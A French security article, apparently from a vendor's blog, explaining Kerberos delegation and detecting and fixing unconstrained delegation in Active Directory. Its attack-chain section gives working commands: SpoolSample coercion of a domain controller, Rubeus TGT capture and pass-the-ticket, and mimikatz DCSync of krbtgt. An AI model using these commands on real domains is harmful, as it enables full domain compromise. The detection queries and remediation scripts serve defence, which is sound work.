Qu'est-ce que la Délégation Kerberos ?
La délégation Kerberos permet à un service de s'authentifier auprès d'autres services au nom d'un utilisateur. Il existe trois types de délégation Kerberos, chacun avec des implications de sécurité très différentes :
- Délégation Non Contrainte — le service peut se faire passer pour n'importe quel utilisateur auprès de n'importe quel service du domaine
- Délégation Contrainte — le service ne peut se faire passer pour des utilisateurs qu'auprès de services spécifiques prédéfinis
- Délégation Contrainte Basée sur les Ressources (RBCD) — la ressource cible contrôle qui peut déléguer vers elle
La délégation non contrainte est la configuration la plus dangereuse dans Active Directory après un Golden Ticket. Elle est trivialement exploitable et mène directement à Domain Admin.
Comment ca Fonctionne
Quand un utilisateur s'authentifie auprès d'un service configuré pour la délégation non contrainte, le KDC inclut une copie du TGT complet de l'utilisateur dans le ticket de service. Si un attaquant compromet une machine avec délégation non contrainte et peut forcer un Contrôleur de Domaine à s'y authentifier, il capture le TGT du DC — ce qui donne accès de niveau Domain Admin.
La technique pour déclencher l'authentification du DC est appelée printer bug ou SpoolSample.
La Chaine d'Attaque
Etape 1 - Trouver les Machines avec Délégation Non Contrainte
Get-ADComputer -Filter {TrustedForDelegation -eq $true} -Properties TrustedForDelegation |
Where-Object {$_.Name -notlike "*DC*"} |
Select-Object Name, TrustedForDelegation
Etape 2 - Compromettre la Machine Déléguée
L'attaquant compromet la machine avec délégation non contrainte. Il contrôle désormais une machine qui collecte des TGTs.
Etape 3 - Forcer l'Authentification du DC (Printer Bug)
# SpoolSample — forcer le DC à s'authentifier auprès de la machine de l'attaquant
SpoolSample.exe DC01.corp.local SERVEUR-COMPROMIS.corp.local
Etape 4 - Capturer le TGT du DC et Escalader
# Sur la machine compromise — capturer le TGT du DC depuis la mémoire
Rubeus.exe monitor /interval:5 /filteruser:DC01$
# Une fois capturé, utiliser le TGT pour DCSync
Rubeus.exe ptt /ticket:doIFXDCCBVig...
lsadump::dcsync /domain:corp.local /user:krbtgt
Détection
Event IDs Windows
| Event ID | Source | Ce qu'il faut surveiller |
|---|---|---|
| 4769 | DC - Security | Ticket de service demandé pour un compte DC depuis une source inattendue |
| 4624 | Serveur délégué | Connexion réseau (Type 3) depuis le compte machine DC |
| 5145 | Serveur cible | Accès au partage réseau — accès au pipe spoolss depuis une coercition DC |
💡 Conseil : Désactivez le service Print Spooler sur tous les Contrôleurs de Domaine. Il n'est pas nécessaire sur les DCs et son suppression élimine le principal vecteur de coercition.
Requete SIEM (Elastic KQL)
event.code: "4769" AND
winlog.event_data.ServiceName: "*$" AND
winlog.event_data.TargetUserName: (*DC* OR *DOMCON*)
Remédiation
⚠️ Critique : La délégation non contrainte sur tout serveur autre que les Contrôleurs de Domaine est une mauvaise configuration critique. Remplacez par la délégation contrainte ou RBCD immédiatement.
1. Supprimer la Délégation Non Contrainte
Get-ADComputer -Filter {TrustedForDelegation -eq $true} |
Where-Object {$_.Name -notlike "*DC*"} | ForEach-Object {
Set-ADComputer -Identity $_ -TrustedForDelegation $false
Write-Host "Corrigé : $($_.Name)"
}
2. Désactiver le Print Spooler sur les DCs
Invoke-Command -ComputerName (Get-ADDomainController -Filter *).Name -ScriptBlock {
Stop-Service -Name Spooler -Force
Set-Service -Name Spooler -StartupType Disabled
}
3. Auditer les Configurations RBCD
Get-ADComputer -Filter * -Properties msDS-AllowedToActOnBehalfOfOtherIdentity |
Where-Object {$_."msDS-AllowedToActOnBehalfOfOtherIdentity" -ne $null} |
Select-Object Name
Comment EtcSec Détecte Cela
UNCONSTRAINED_DELEGATION identifie tous les ordinateurs et comptes de service non-DC configurés avec la délégation non contrainte.
CONSTRAINED_DELEGATION signale les paramètres de délégation contrainte mal configurés.
RBCD_ABUSE détecte les ordinateurs où l'attribut msDS-AllowedToActOnBehalfOfOtherIdentity est configuré de façon à permettre une escalade de privilèges.
ℹ️ Note : EtcSec audite tous les paramètres de délégation automatiquement lors de chaque scan AD. Lancez un audit gratuit pour identifier les mauvaises configurations de délégation.
Articles connexes : Golden Ticket : Les Clés de Votre Domaine | Kerberoasting


